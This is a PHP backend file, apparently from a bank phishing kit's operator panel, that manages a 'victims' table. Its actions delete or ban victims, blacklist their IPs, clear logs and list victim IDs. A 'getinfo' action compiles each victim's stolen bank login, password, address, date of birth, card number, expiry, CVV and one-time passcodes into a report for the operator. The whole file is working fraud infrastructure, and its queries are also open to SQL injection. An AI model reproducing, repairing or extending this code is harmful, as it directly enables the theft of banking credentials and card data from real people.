		if($_POST['userid'] and numeric($_POST['userid']) == true){
			$userid = $_POST['userid'];
			
			$query = mysqli_query($conn, "DELETE FROM victims WHERE id=$userid");
			if($query){
				echo json_encode(array(
				'status' => 'ok'
				));
				file_put_contents("removed_ids.txt", "row".$userid . ",", FILE_APPEND);
			}else{
				echo json_encode(array(
				'status' => 'notok'
				));
			}
		}else{
			echo json_encode(array(
				'status' => 'notokk'
			));
		}
	}


	if($_GET['type'] == 'remove_handler'){
		if($_POST['userid'] and numeric($_POST['userid']) == true){
			$userid = $_POST['userid'];
			
			$query = mysqli_query($conn, "DELETE FROM handlers WHERE id=$userid");
			if($query){
				echo json_encode(array(
				'status' => 'ok'
				));
			}else{
				echo json_encode(array(
				'status' => 'notok'
				));
			}
		}else{
			echo json_encode(array(
				'status' => 'notokk'
			));
		}
	}



	if($_GET['type'] == 'ban'){
		if($_POST['userid'] and numeric($_POST['userid']) == true){
			$userid = $_POST['userid'];

			$query = mysqli_query($conn, "UPDATE victims SET status=99, buzzed=1 WHERE id='$userid'");
			if($query){
				$query = mysqli_query($conn, "SELECT * from victims WHERE id='$userid'");
				if($query){
					$row = mysqli_fetch_assoc($query);
					$ipblock = $row['ip'];
					$ipslist = file_get_contents("blacklist.dat");

					if (strpos($ipslist, $ipblock) !== true) {
						file_put_contents("blacklist.dat", $ipblock . "\n", FILE_APPEND);
					}
					
					echo json_encode(array(
					'status' => 'ok'
					));
				}
			}else{
				echo json_encode(array(
				'status' => 'notok'
				));
			}
		}else{
			echo json_encode(array(
				'status' => 'notokk'
			));
		}


	}

	if ($_GET['type'] == 'visits_reset') {
		$query = mysqli_query($conn, "DELETE FROM visits");

		if ($query) {
			echo json_encode(array(
				'status' => 'ok'
			));
		}
	}


	if($_GET['type'] == 'clearlogs'){
		$ids = '';
		$query = mysqli_query($conn, "SELECT * from victims");
		if($query){
		if(mysqli_num_rows($query) >= 1){
			$array = array_filter(mysqli_fetch_all($query,MYSQLI_ASSOC));
		}

		foreach($array as $value){
			$ids .= 'row' . $value['id'] . ",";
		}
		
		file_put_contents("removed_ids.txt", $ids, FILE_APPEND);


			$query = mysqli_query($conn, "DELETE FROM victims");
			
			if($query){
				echo json_encode(array(
				'status' => 'ok'
				));
				}
			}else{
				echo json_encode(array(
				'status' => 'notok'
				));
			}


	}

	if ($_GET['type'] == 'getallusers') {
		$result = mysqli_query($conn, "SELECT id FROM victims ORDER BY id ASC"); // Order by id
		$userIds = [];
		while ($row = mysqli_fetch_assoc($result)) {
			$userIds[] = $row['id'];
		}
		echo json_encode(['status' => 'ok', 'userIds' => $userIds]);
	}
	
	

	if($_GET['type'] == 'getinfo'){
		if($_POST['userid'] and numeric($_POST['userid']) == true){
			$userid = $_POST['userid'];
			
			$query = mysqli_query($conn, "SELECT * from victims WHERE id='$userid'");
			$array = mysqli_fetch_array($query,MYSQLI_ASSOC);
			$nage = get_next_birthday_age($array['dob']);
			$itype = iname_to_bank($array['iname']);
			$title = $array['title'];

			if($title == "Mr"){
				$title = "male";
			}elseif($title == "Mrs"){
				$title = "female";
			}elseif($title == "Miss"){
				$title = "female";
			}
			$theloginwsp = $array['user'];
			$thelogin = str_replace(' ', '', $theloginwsp);
			$shortinfo = $array['newtwo'];
			$shortinfoC = str_replace('|', '', $shortinfo);
			$fullinfo = $array['newthree'];
			$fullinfoC = str_replace('|', '', $fullinfo);
			$userAgent = urldecode($array['useragent']);

			$allinfo = "+----------------------------+
IP: {$array['ip']}
User Agent:
$userAgent
----------------------------- 
Bank: $itype
Login: $thelogin
Password: {$array['pass']}
-----------------------------
Full Name: {$array['name']}
Address: {$array['address']}
Phone: {$array['phonenr']}
DOB: {$array['dob']}
Email: {$array['email']}
----------------------------- 
Card: {$array['card']}
Exp: {$array['exp']}
Cvv: {$array['three']}
-----------------------------
(Last) OTP: {$array['otp']}
(Last QR) OTP: {$array['qrotp']}
+----------------------------+
";


			echo json_encode(array(
				'status' => 'ok', 'info' => $allinfo
			));
			
		}else{
			echo json_encode(array(
				'status' => 'notokk'
			));
		}


	}

}